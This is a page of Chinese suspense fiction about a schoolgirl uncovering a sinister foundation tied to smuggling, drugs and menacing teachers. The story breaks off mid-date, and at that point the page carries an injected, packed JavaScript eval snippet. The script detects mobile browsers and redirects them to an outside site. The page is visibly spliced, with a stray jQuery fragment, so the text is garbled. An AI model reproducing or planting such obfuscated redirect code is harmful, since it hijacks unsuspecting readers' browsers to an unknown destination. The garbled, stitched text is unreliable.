期末考试的午后，苏末晞在图书馆角落发现一本被遗弃的《雪国》。当她翻开泛黄的书页，某种尖锐的东西划破了她的指尖——书页边缘布满了奇怪的凸点，像被刻意压印的伤痕。
"这是..."她用手机拍下这些排列规律的痕迹，余光瞥见扉页上褪色的借阅卡：兰英，2008年3月12日。正是陈川转学前一周。
窗外的银杏叶沙沙作响。苏末晞突然想起上周值日时，看见杨鼎子带着几个聋哑学生深夜离校。他们背着的帆布包鼓胀得不自然。
"在看什么？"
温热的呼吸突然喷在耳后。苏末晞猛地合上书，杨鼎子修长的手指已经按在书脊上。他今天戴着金丝眼镜，镜链在阳光下闪着蛇鳞般的光泽。
"课外阅读。"苏末晞把流血的手指藏在身后，"老师说过要多看名著。"
杨鼎子轻笑一声，从西装口袋掏出真丝手帕。当他俯身时，苏末晞闻到他袖口传来的古怪药香——和那天夜里帆布包散发的气味一模一样。
"你知道吗？"他的钢笔尖轻轻点着书页上的凸点，"盲文是世界上最纯净的文字。"
放学铃响起时，苏末晞躲进女厕所最里面的隔间。她颤抖着点开特殊教育论坛，将照片上的凸点图案与盲文字母表对照。当零散的词汇逐渐成形——"夜间""走私""校车""沉默"——一滴冷汗顺着她的脊椎滑下。
公告栏上新贴的海报在风中扑打。杨鼎子微笑着指向"聋哑儿童艺术基金会"的logo，海报右下角印着几乎透明的编号：POP-1972。苏末晞突然想起化学课上，老师说过某些药品缩写就是POP。
雨夜的教学楼空无一人。苏末晞蹲在档案室，借着手电筒的光翻找三年前的记录。在2008年3月的值班表上，兰英的名字被红笔圈出，旁边画着小小的药丸图案。下一页贴着陈川的转学申请，监护人签名处盖着基金会的公章。
"找到有趣的东西了？"
档案室的门无声滑开。杨鼎子站在雨幕前，他转动着左手青铜戒指，投影仪突然自动开启，墙上映出陈川在基金会夏令营的照片——这个雌雄同体的人手腕上戴着编码手环：POP-017。
"兰老师太聪明了。"他叹息般说道，从标本柜取出一盒玻璃瓶，"所以她女儿获得了...特殊转学机会。"
苏末晞的指尖触到口袋里正在录音的手机。她想起兰英每次看到基金会海报时，珍珠胸针都会微微发颤的样子。
"明天有教育局领导听课。"她突然说，"我会朗诵《雪国》的选段。"
次日清晨，教育局的调查组带走了所有标有基金会logo的物品。苏末晞站在走廊，看着杨鼎子依然挺拔的背影走向黑色轿车。他突然回头，用唇语说了句话。透过雨痕斑驳的玻璃，那形状分明是："游戏继续"。
兰英的珍珠胸针在阳光下闪着柔润的光。她轻轻抚摸办公桌抽屉里的日记本——那是陈川留给世界最后的密语。
2005年·冬
书法教室的暖气片发出嘶嘶声响。欧建文握着苏末晞的小手教她写"永"字，羊毫笔尖在宣纸上拖出颤抖的横折。"手腕要稳。"他的呼吸带着普洱茶香，另一只手却按在女孩肩胛骨上，力道大得像要捏碎蝴蝶翅膀。
窗外，兰英正在雪地里训斥陈川。祂的红色围巾像道伤口，在苍白的世界里格外刺目。杨鼎子突然出现在走廊转角。好似猎人对自己的猎犬那般关心地看着陈川。
"欧老师。"苏末晞突然抬头，"为什么''恶''字底下是颗心？"
欧建文嘴角的弧度突然凝固，像一幅被突然定格的书法作品。他缓缓放开握着苏末晞的手，羊毫笔在宣纸上洇开一片墨渍，如同黑夜无声蔓延。
"苏同学。"他的声音依然温和，却让教室温度骤降，"知道为什么古人练字要先焚香静心吗？"
他站起身，影子完全笼罩住娇小的女孩。案几上的宣纸被他的袖口带起，窗外，一片枯叶粘在玻璃上，正好挡住兰英望向教室的视线。
欧建文的手指轻轻敲击砚台，节奏精准得像心跳监测仪。"有些笔画..."他突然俯身，龙井茶香混着墨汁的气息喷在苏末晞耳畔，"写得太用力，会戳破纸张的。"
他的食指按在女孩刚才写的"恶"字上，指甲划过那个心字底，将墨迹刮出一道苍白的伤痕。砚台里的墨汁突然晃动起来，倒映出他眼中转瞬即逝的冷光。
"下周三的书法比赛。"他直起身时，胸前的和田玉坠从衣领滑出，上面刻着基金会的莲花徽记，"你就不用参加了。"
202
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949954|177513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
1年·夏
无印良品仓库的监控死角，林嘉怡正往库存系统输入异常数据。她穿着吊带雪纺裙眼角有着和兰英同样的泪痣。当苏末晞推着货架经过时，她故意打翻柠檬水，冰凉的液体顺着女孩的制服下摆流淌。
"擦擦吧。"林嘉怡递来的纸巾散发着苦杏仁味，"像你这样的临时工，最怕弄脏商品了不是吗？"
苏末晞看着对方手腕上的青铜手链——和当年杨鼎子戒指同样的材质。头顶的消防喷淋头突然漏水，将她的考勤表浸得模糊不清。
2005年·冬
老刘把兰英抵在旧书库的档案柜前，手指摩挲着她珍珠胸针的裂痕。"鼎子是我兄弟，"他咬着她的耳垂说，"但你的眼泪比兄弟更珍贵。"
2021年·秋
精神病院的电视正播放着无印良品新品发布会。欧建文挥毫写下"澄怀观道"四个大字，老刘突然挣脱束缚带扑向屏幕："谢广军说云南的线可以！"
双线交汇
当苏末晞在员工通道看到欧建文时，他正在焚香。线香灰落在她未通过试用期的通知书上，烫出三个小洞。焚香的青烟在员工通道里蜿蜒上升，像一条透明的蛇。欧建文注视着香灰坠落在通知书上的三个小洞，忽然轻笑出声。
"知道方文社去年获奖的《雪盲症》吗？"他用香杆拨弄着香灰，"原型是北海道一个冻死在信箱旁的邮差。"
通道尽头的应急灯突然闪烁起来，将他的侧脸切割成明暗交错的碎片。苏末晞看见他手腕内侧若隐若现的烫伤疤痕——那是去年冬天，他在云南考察时被香炉意外烫伤的。
"榴莲子新书里的疯女人..."欧建文突然凑近，沉香气息扑在她颤抖的眼睫上，"穿着和你同款的无印良品工服。"
窗外传来货梯运行的轰鸣。林嘉怡正往展示柜摆放新到的和纸灯笼，灯光透过纸罩在她锁骨处的投下浮世绘般的阴影。
香灰终于彻底断裂。欧建文用鞋尖碾碎那截灰烬，动作轻柔得像在抚摸一件古董瓷器。"文学需要养分，"他低头整理袖扣，"就像樱花需要腐殖质。"
通道的防火门突然被风吹开。飘进来一页泛黄的漫画原稿，女主角眼角有颗泪痣，正在雪地里捡拾破碎的珍珠。背面用铅笔写着："谢广军说云南的线可以"。